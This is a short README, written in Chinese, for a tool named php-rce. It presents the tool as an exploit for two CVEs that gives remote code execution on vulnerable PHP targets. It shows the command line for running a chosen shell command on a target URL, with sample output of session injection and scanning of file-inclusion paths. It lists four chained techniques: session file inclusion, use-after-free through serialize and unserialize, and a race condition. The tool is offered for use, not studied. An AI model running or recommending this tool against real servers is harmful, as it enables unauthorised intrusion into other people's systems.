php-rce

• PHP 远程代码执行

针对 CVE-2026-109618 / CVE-2026-109619 的漏洞利用。多种利用方式，可在存在漏洞的 PHP 目标上实现 RCE。

** 用法

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** 漏洞利用方式

• session_lfi :: 会话文件包含
• serialize_uaf :: 序列化释放后使用
• unserialize_uaf :: 反序列化释放后使用
• fast_fire :: 基于竞态条件的执行

它们按顺序运行，第一个成功的利用方式会执行命令。